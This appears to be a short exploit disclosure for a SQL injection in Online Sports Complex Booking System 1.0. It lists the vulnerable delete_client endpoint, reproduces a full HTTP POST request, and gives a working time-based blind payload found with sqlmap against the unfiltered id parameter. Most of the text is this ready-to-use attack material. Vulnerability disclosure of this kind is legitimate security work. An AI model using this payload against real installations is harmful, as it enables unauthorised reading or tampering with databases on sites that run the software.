#### Title: Online Sports Complex Booking System 1.0 SQL Injection #### Author: Zllggggg #### Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html #### Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip #### Reference: https://github.com/playZG/Exploit-/blob/main/Online%20Sports%20Complex%20Booking%20System/Online%20Sports%20Complex%20Booking%20System%201.0%20SQL%20Injection(%E4%BA%8C).md #### Tested on: Windows, MySQL, Apache After entering the background, click the registered clients navigation, select a piece of data and click delete [image: 1648884355.jpg] Find the corresponding source code and find that the ID parameter passed by post does not have any filtering [image: 1648884613.jpg] The vulnerability is also verified in sqlmap [image: 1648884408.jpg] Data packet ``` POST /scbs/classes/Users.php?f=delete_client HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 4 Origin: http://localhost Connection: close Referer: http://localhost/scbs/admin/?page=clients Cookie: PHPSESSID=trkbdt4th4hlsp7bpriuih1816 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin id=2 ``` Payload ``` Parameter: id (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 4836 FROM (SELECT(SLEEP(5)))QbFZ) AND 'aPSM'='aPSM --- ```